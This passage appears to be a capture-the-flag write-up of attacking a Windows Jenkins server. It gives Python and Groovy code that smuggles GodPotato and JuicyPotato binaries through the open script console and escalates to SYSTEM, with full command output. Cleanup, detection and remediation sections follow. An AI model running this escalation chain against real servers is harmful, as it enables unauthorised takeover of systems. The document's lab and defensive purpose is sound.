   new File(d + "gp.exe").bytes = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAI0oM7kAAAAAAAAAAOAAIgALATAAANYAAAAIAAAAAAAAXvUAAAAgAAAAAAEAAABAAAAgAAAAAgAABAAAAAAAA
                                  ^

1 error
[...]

This one never reached the target’s command line. A Groovy string literal is limited to 65,535 characters and GodPotato’s base64 is 76,460. PrintSpoofer had fitted by accident. The fix is to emit a list of 60,000-character literals and join them at run time:

# build artifacts/14-gp.groovy: as 13-build.py, base64 split into literals under the Groovy 65535 limit
import base64, hashlib
exe = open("../../tools/windows/GodPotato-NET4.exe", "rb").read()
print("GodPotato-NET4.exe", len(exe), "bytes sha256", hashlib.sha256(exe).hexdigest())
b = base64.b64encode(exe).decode()
parts = ", ".join('"%s"' % b[i:i + 60000] for i in range(0, len(b), 60000))
g = '''def d = "C:\\\\Users\\\\Public\\\\"
def run = { c -> def p = ["cmd", "/v:on", "/c", c].execute(); def o = new StringBuffer(); p.consumeProcessOutput(o, o); p.waitForOrKill(120000); println "### " + c; println o }
run(d + "ps.exe -h & echo exit=!errorlevel!")
run("dir /b C:\\\\Windows\\\\System32\\\\vcruntime140.dll C:\\\\Windows\\\\Sysnative\\\\vcruntime140.dll")
run("reg query \\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\NET Framework Setup\\\\NDP\\\\v4\\\\Full\\" /v Release")
new File(d + "gp.exe").bytes = [%s].join("").decodeBase64()
run("dir " + d + "gp.exe | findstr gp.exe")
run(d + "gp.exe -cmd \\"cmd /c whoami\\" & echo exit=!errorlevel!")
''' % parts
open("artifacts/14-gp.groovy", "w").write(g)
print("artifacts/14-gp.groovy", len(g), "bytes")
python3 -I artifacts/14-build.py; bash artifacts/09-groovy.sh artifacts/14-gp.groovy 2>&1 | tr -d "\000" | sed "s/ *$//" | cut -c1-300 | head -80
GodPotato-NET4.exe 57344 bytes sha256 9a8e9d587b570d4074f1c8317b163aa8d0c566efd88f294d9d85bc7776352a28
artifacts/14-gp.groovy 77076 bytes
crumb header name: Jenkins-Crumb
### C:\Users\Public\ps.exe -h & echo exit=!errorlevel!
exit=-1073741515

### dir /b C:\Windows\System32\vcruntime140.dll C:\Windows\Sysnative\vcruntime140.dll
File Not Found
File Not Found

### reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
    Release    REG_DWORD    0x6040e


### dir C:\Users\Public\gp.exe | findstr gp.exe
11/24/2026  06:34 PM            57,344 gp.exe

### C:\Users\Public\gp.exe -cmd "cmd /c whoami" & echo exit=!errorlevel!
[*] CombaseModule: 0x140723534430208
[*] DispatchTable: 0x140723536393672
[*] UseProtseqFunction: 0x140723535896400
[*] UseProtseqFunctionParamCount: 5
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\6eac8ce5-3b34-42a3-9257-5a95d603e8a7\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002802-0fc0-ffff-bc41-1764ddd6632e
[*] DCOM obj OXID: 0xea56fdec48294885
[*] DCOM obj OID: 0xf2902613108efc19
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] UnmarshalObject: 0x80070776
[!] Failed to impersonate security context token
exit=0


[http 200]

Two answers. PrintSpoofer exits with -1073741515, which is 0xC0000135, STATUS_DLL_NOT_FOUND, and vcruntime140.dll is in neither system directory: my build links the runtime dynamically and this machine has never had it installed. GodPotato loads (.NET release 0x6040e is 4.6.1), hooks RPC and fails at UnmarshalObject: 0x80070776, Win32 error 1910, “the object exporter specified was not found”. It returned the same code on the previous machine, a Server 2016 build from the same era. I did not establish the cause on either.

Third in the cascade for anything before build 1809 is JuicyPotato. It needs the CLSID of a COM server that runs as SYSTEM and can be activated by a service account; I used the BITS one, the default from the tool’s documentation for Windows 10, from memory of the tool. This time the builder checks the binary for the library that sank the first attempt before sending it, which is the check I should have made in attempt one:

# build artifacts/15-jp.groovy: JuicyPotato.exe from chunked base64, run artifacts/11-root.bat (already at C:\Users\Public\r.bat) as SYSTEM, print r.txt
import base64, hashlib, re, sys
exe = open("../../tools/windows/JuicyPotato.exe", "rb").read()
print("JuicyPotato.exe", len(exe), "bytes sha256", hashlib.sha256(exe).hexdigest())
dlls = sorted(set(m.decode().lower() for m in re.findall(rb"[A-Za-z0-9_\-]+\.dll", exe)))
print("dll names in the binary:", " ".join(dlls))
if any(x.startswith(("vcruntime", "msvcp", "api-ms")) for x in dlls):
    sys.exit("needs a runtime the target lacks; not sent")
b = base64.b64encode(exe).decode()
parts = ", ".join('"%s"' % b[i:i + 60000] for i in range(0, len(b), 60000))
g = '''def d = "C:\\\\Users\\\\Public\\\\"
def run = { c -> def p = ["cmd", "/v:on", "/c", c].execute(); def o = new StringBuffer(); p.consumeProcessOutput(o, o); p.waitForOrKill(120000); println "### " + c; println o }
new File(d + "jp.exe").bytes = [%s].join("").decodeBase64()
run("dir " + d + "jp.exe | findstr jp.exe")
run(d + "jp.exe -l 1337 -t * -c {4991d34b-80a1-4291-83b6-3328366b9097} -p C:\\\\Windows\\\\System32\\\\cmd.exe -a \\"/c " + d + "r.bat > " + d + "r.txt 2>&1\\" & echo exit=!errorlevel!")
def f = new File(d + "r.txt")
for (int i = 0; i < 40; i++) { if (f.exists() && f.text.contains("### end")) break; Thread.sleep(2000) }
println "### r.txt"
println(f.exists() ? f.text : "r.txt missing")
''' % parts
open("artifacts/15-jp.groovy", "w").write(g)
print("artifacts/15-jp.groovy", len(g), "bytes")
umask 077; python3 -I artifacts/15-build.py && bash artifacts/09-groovy.sh artifacts/15-jp.groovy > loot/15-jp.raw 2>&1; awk "/### every stream/{f=1} f" loot/15-jp.raw | grep -a -o -E "\b[0-9a-f]{32}\b" | head -1 > artifacts/root.txt; tr -d "\000" < loot/15-jp.raw | sed -E "s/\b[0-9a-f]{32}\b/<flag: 32 hex, saved to artifacts\/root.txt>/" | sed "s/ *$//" | cut -c1-300 | head -170; echo "root.txt bytes: $(stat -c %s artifacts/root.txt)"
JuicyPotato.exe 347648 bytes sha256 0f56c703e9b7ddeb90646927bac05a5c6d95308c8e13b88e5d4f4b572423e036
dll names in the binary: advapi32.dll kernel32.dll ole32.dll secur32.dll ws2_32.dll
artifacts/15-jp.groovy 464252 bytes
crumb header name: Jenkins-Crumb
### dir C:\Users\Public\jp.exe | findstr jp.exe
11/24/2026  06:34 PM           347,648 jp.exe

### C:\Users\Public\jp.exe -l 1337 -t * -c {4991d34b-80a1-4291-83b6-3328366b9097} -p C:\Windows\System32\cmd.exe -a "/c C:\Users\Public\r.bat > C:\Users\Public\r.txt 2>&1" & echo exit=!errorlevel!
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
exit=1

### r.txt
### whoami
nt authority\system
### administrator desktop, with streams
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  09:05 AM    <DIR>          BUILTIN\Administrators .
11/08/2017  09:05 AM    <DIR>          NT AUTHORITY\SYSTEM    ..
11/03/2017  09:03 PM               282 BUILTIN\Administrators desktop.ini
12/24/2017  02:51 AM                36 BUILTIN\Administrators hm.txt
                                    34                        hm.txt:root.txt:$DATA
11/08/2017  09:05 AM               797 BUILTIN\Administrators Windows 10 Update Assistant.lnk
               3 File(s)          1,115 bytes
               2 Dir(s)   2,645,172,224 bytes free
### every stream under 200 bytes on that desktop
--- C:\Users\Administrator\Desktop\hm.txt [:$DATA] 36
The flag is elsewhere.  Look deeper.
--- C:\Users\Administrator\Desktop\hm.txt [root.txt] 34
<flag: 32 hex, saved to artifacts/root.txt>
### how jenkins is started
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: jenkins
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Users\Administrator\.jenkins\jenkins.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : jenkins
        DEPENDENCIES       :
        SERVICE_START_NAME : .\kohsuke


CommandLine="java" -Xrs -Xmx256m -Dhudson.lifecycle=hudson.lifecycle.WindowsServiceLifecycle -jar "C:\Users\Administrator\.jenkins\jenkins.war" --prefix=/askjeeves --httpPort=50000 --webroot="C:\Users\Administrator\.jenkins\war"
ParentProcessId=2624
ProcessId=1312


ERROR: The system cannot find the file specified.

### jenkins security settings
  <useSecurity>true</useSecurity>
  <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
  <securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
  </securityRealm>
C:\Users\Administrator\.jenkins JEEVES\kohsuke:(OI)(CI)(F)
                                NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                                BUILTIN\Administrators:(I)(OI)(CI)(F)
                                JEEVES\Administrator:(I)(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files
### hotfixes
HotFixID   InstalledOn
KB3150513  10/26/2017
KB3161102  10/25/2017
KB3172729  10/25/2017
KB3173428  10/25/2017
KB4021702  10/26/2017
KB4022633  10/25/2017
KB4033631  10/26/2017
KB4035632  10/25/2017
KB4051613  11/4/2017
KB4041689  10/26/2017
### end


[http 200]
root.txt bytes: 33

authresult 0, a SYSTEM token, CreateProcessWithTokenW OK, and the batch file’s first line is nt authority\system. JuicyPotato itself exits 1 after a successful run; the result file is the evidence, not the exit code. Root flag fourteen minutes after the spawn.

hm.txt is 36 bytes of “The flag is elsewhere. Look deeper.” and dir /R shows the second stream under it, hm.txt:root.txt:$DATA, 34 bytes.

Post-Exploitation

The same output answers the questions left over. Jenkins is a service, not a scheduled task: schtasks finds no task of that name. icacls shows kohsuke with full control of the Jenkins home under the Administrator profile. Ten hotfixes, none later than 4 November 2017.

I did not open CEH.kdbx. From the write-ups I remember it as the intended route to Administrator, but nothing in this session tested that, so it stays a lead and not a finding.

Cleanup removed the five files the session wrote:

def run = { c -> def p = ["cmd", "/c", c].execute(); def o = new StringBuffer(); p.consumeProcessOutput(o, o); p.waitForOrKill(60000); println "### " + c; println o }
run('del /f /q C:\\Users\\Public\\ps.exe C:\\Users\\Public\\gp.exe C:\\Users\\Public\\jp.exe C:\\Users\\Public\\r.bat C:\\Users\\Public\\r.txt')
run('dir /a /b C:\\Users\\Public')
bash artifacts/09-groovy.sh artifacts/16-clean.groovy 2>&1
crumb header name: Jenkins-Crumb
### del /f /q C:\Users\Public\ps.exe C:\Users\Public\gp.exe C:\Users\Public\jp.exe C:\Users\Public\r.bat C:\Users\Public\r.txt

### dir /a /b C:\Users\Public
AccountPictures
Desktop
desktop.ini
Documents
Downloads
Libraries
Music
Pictures
Videos


[http 200]

No account, job or setting on the target was changed. The machine was stopped straight after.

Defensive Analysis

None of the following was tested on the box; each is a place to look, with the reason it should show something.

Discovery. The second wordlist sent requests at 80 threads to a port that had served nothing but 404s. The java command line quoted above has no access log argument (--accessLoggerClassName and the --simpleAccessLogger options, from my knowledge of the bundled servlet container), so as configured Jenkins records none of it. The sources that could are a network sensor counting 404s from port 50000, and the IIS log for the scan of port 80, if IIS logging is on.

The console. A POST to /askjeeves/scriptText from a session Jenkins itself calls anonymous has no legitimate reason to exist. Jenkins keeps no record of console scripts by default as far as I know; the Audit Trail plugin logs the request. Check for it under plugins in the Jenkins home.

Process creation. Every command here was java.exe starting cmd.exe, which started whoami, systeminfo, net and powershell. With process creation auditing on (event 4688 with command lines, or Sysmon event 1), a build server whose Java process spawns whoami /all is a short rule. Executables appearing in C:\Users\Public and running seconds later is another.

The potatoes. What I can report from the session: Defender’s real-time protection was on, its signatures dated 8 November 2017, and it listed no detection after PrintSpoofer was written to disk. JuicyPotato was written and ran to completion afterwards. JuicyPotato also listens on a local port (1337 in my command) and triggers a BITS activation from a non-interactive service account, both visible to an EDR that watches COM activations.

Remediation

Not applied on the box; each is the vendor’s documented setting or a standard control.

  1. Change the Jenkins authorisation strategy from “Anyone can do anything” to matrix-based security, with no permission for the anonymous user. Verify with the request from this post: /askjeeves/script without a session should return 403.
  2. Do not publish a build server. Start Jenkins with --httpListenAddress=127.0.0.1 or restrict port 50000 at the firewall to the people who use it. An unlinked path is found by the second wordlist.
  3. Take the privilege out of the service token. Windows lets a service declare the privileges it needs and strips the rest: sc.exe privs jenkins SeChangeNotifyPrivilege/SeCreateGlobalPrivilege, then restart the service and run whoami /priv through a build step; SeImpersonatePrivilege should be gone. I have not run this against Jenkins and it may need more privileges than those two. Patching past build 1809 closes JuicyPotato only; PrintSpoofer works after it.
  4. Move the Jenkins home out of the Administrator profile.

Key Takeaways

  • A wordlist that finds nothing says something about the wordlist. The first list has 30,000 entries and missed a two-word name that the larger list holds. Write hits to a file as they arrive and act on the first.
  • In Jenkins, “security enabled” describes authentication. Read the authorisation strategy before believing the login page.
  • Check what a compiled tool links against before sending it. PrintSpoofer failed on a missing runtime DLL, silently, and %errorlevel% on the same line hid the exit code that would have said so.